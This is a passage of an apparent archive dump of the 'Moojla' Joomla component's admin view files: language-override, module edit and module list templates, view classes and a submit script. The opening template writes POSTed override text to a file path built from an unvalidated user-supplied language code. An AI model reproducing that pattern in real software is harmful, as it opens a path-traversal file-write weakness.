JPATH_ADMINISTRATOR.'/components/com_moojla/models/forms/' .
"languagetranslation.xml", array("control" =>
"myform"));
$prefillData = array();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$app = JFactory::getApplication();
// $data = $app->input->post->get('myform', array(),
"array");
$data = $app->input->getArray();
$myform = $data['myform'];
if($myform['language'] != '')
{
$lang = $myform['language'];
$isadmin = substr($lang, -1);
$code = substr($lang, 0, -1);
$fileurl = JURI::root();
$filepath = JPATH_ROOT;
if($isadmin)
{
$filepath .= '/administrator/language/overrides/' . $code .
'.override.ini';
if($myform['override'] != '')
{
file_put_contents($filepath, $myform['override']);
}
else if(file_exists($filepath))
{
file_put_contents($filepath, $myform['override']);
}
}
else
{
$filepath .= '/language/overrides/' . $code .
'.override.ini';
if($myform['override'] != '')
{
file_put_contents($filepath, $myform['override']);
}
else if(file_exists($filepath))
{
file_put_contents($filepath, $myform['override']);
}
}
}
}
$form->bind($prefillData);
?>
<?php //echo $this->loadTemplate('languagefilter'); ?>
<?php echo $form->renderField('language'); ?>
<?php echo $form->renderField('original_translation');
?>
<?php echo $form->renderField('override'); ?>
<input type="submit" name="submitbtn"
value="<?= JText::_('COM_MOOJLA_SAVE_CHANGES')
?>">
<!--[/JCBGUI$$$$]-->
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
<?php else: ?>
<h1><?php echo
JText::_('COM_MOOJLA_NO_ACCESS_GRANTED'); ?></h1>
<?php endif; ?>
views/languagetranslation/tmpl/default_languagefilter.php000064400000002175151165724410020140
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_languagefilter.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
views/languagetranslation/tmpl/index.html000064400000000054151165724410014721
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/languagetranslation/view.html.php000064400000007534151165724410014410
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Languagetranslation
*/
class MoojlaViewLanguagetranslation extends JViewLegacy
{
// Overwriting JView display method
function display($tpl = null)
{
// get component params
$this->params = JComponentHelper::getParams('com_moojla');
// get the application
$this->app = JFactory::getApplication();
// get the user object
$this->user = JFactory::getUser();
// get global action permissions
$this->canDo =
MoojlaHelper::getActions('languagetranslation');
// Initialise variables.
$this->item = $this->get('Item');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
// add the tool bar
$this->addToolBar();
}
// set the document
$this->setDocument();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode(PHP_EOL, $errors), 500);
}
parent::display($tpl);
}
/**
* Prepares the document
*/
protected function setDocument()
{
// always make sure jquery is loaded.
JHtml::_('jquery.framework');
// Load the header checker class.
require_once(
JPATH_COMPONENT_ADMINISTRATOR.'/helpers/headercheck.php' );
// Initialize the header checker.
$HeaderCheck = new moojlaHeaderCheck;
// add the document default css file
$this->document->addStyleSheet(JURI::root(true)
.'/administrator/components/com_moojla/assets/css/languagetranslation.css',
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
// hide the main menu
$this->app->input->set('hidemainmenu', true);
// set the title
if (isset($this->item->name) && $this->item->name)
{
$title = $this->item->name;
}
// Check for empty title and add view name if param is set
if (empty($title))
{
$title = JText::_('COM_MOOJLA_LANGUAGETRANSLATION');
}
// add title to the page
JToolbarHelper::title($title,'list');
// add cpanel button
JToolBarHelper::custom('languagetranslation.dashboard',
'grid-2', '', 'COM_MOOJLA_DASH', false);
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('languagetranslation');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
}
?>
views/module/submitbutton.js000064400000002743151165724410012277
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('module, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/module/tmpl/edit.php000064400000011116151165724410011606
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'moduleTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'moduleTab', 'details',
JText::_('COM_MOOJLA_MODULE_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<?php echo JLayoutHelper::render('module.details_left',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'moduleTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'moduleTab', 'publishing',
JText::_('COM_MOOJLA_MODULE_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('module.publishing',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('module.publlshing',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'moduleTab', 'permissions',
JText::_('COM_MOOJLA_MODULE_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="module.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/module/tmpl/index.html000064400000000054151165724410012144
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/module/view.html.php000064400000015162151165724410011627
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Module View class
*/
class MoojlaViewModule extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('module',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_MODULE_NEW' : 'COM_MOOJLA_MODULE_EDIT'),
'pencil-2 article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('module.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('module.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('module.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('module.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('module.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('module.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('module.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('module.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('module.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('module.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('module.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('module.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.module',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('module.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('module.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('module');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_MODULE_NEW' : 'COM_MOOJLA_MODULE_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/module.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/module/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/modules/index.html000064400000000054151165724410011353
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/modules/tmpl/default.php000064400000005515151165724410012476
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=modules.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'moduleList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=modules');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="moduleList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_MODULES_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/modules/tmpl/default_batch_body.php000064400000002332151165724410014646
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo JText::_('COM_MOOJLA_MODULES_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/modules/tmpl/default_batch_footer.php000064400000002730151165724410015211
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('module.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/modules/tmpl/default_body.php000064400000010256151165724410013511
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=modules&task=module.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('module',$item,'modules');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->module_section_id); ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->module_id); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'modules.',
$canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->module_id); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->name); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->modname); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->visible); ?>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->uservisible); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'modules.', true, 'cb'); ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'modules.', false, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'modules.', true, 'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'modules.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/modules/tmpl/default_foot.php000064400000002305151165724410013517
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="10"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/modules/tmpl/default_head.php000064400000005607151165724410013461
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap hidden-phone" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL',
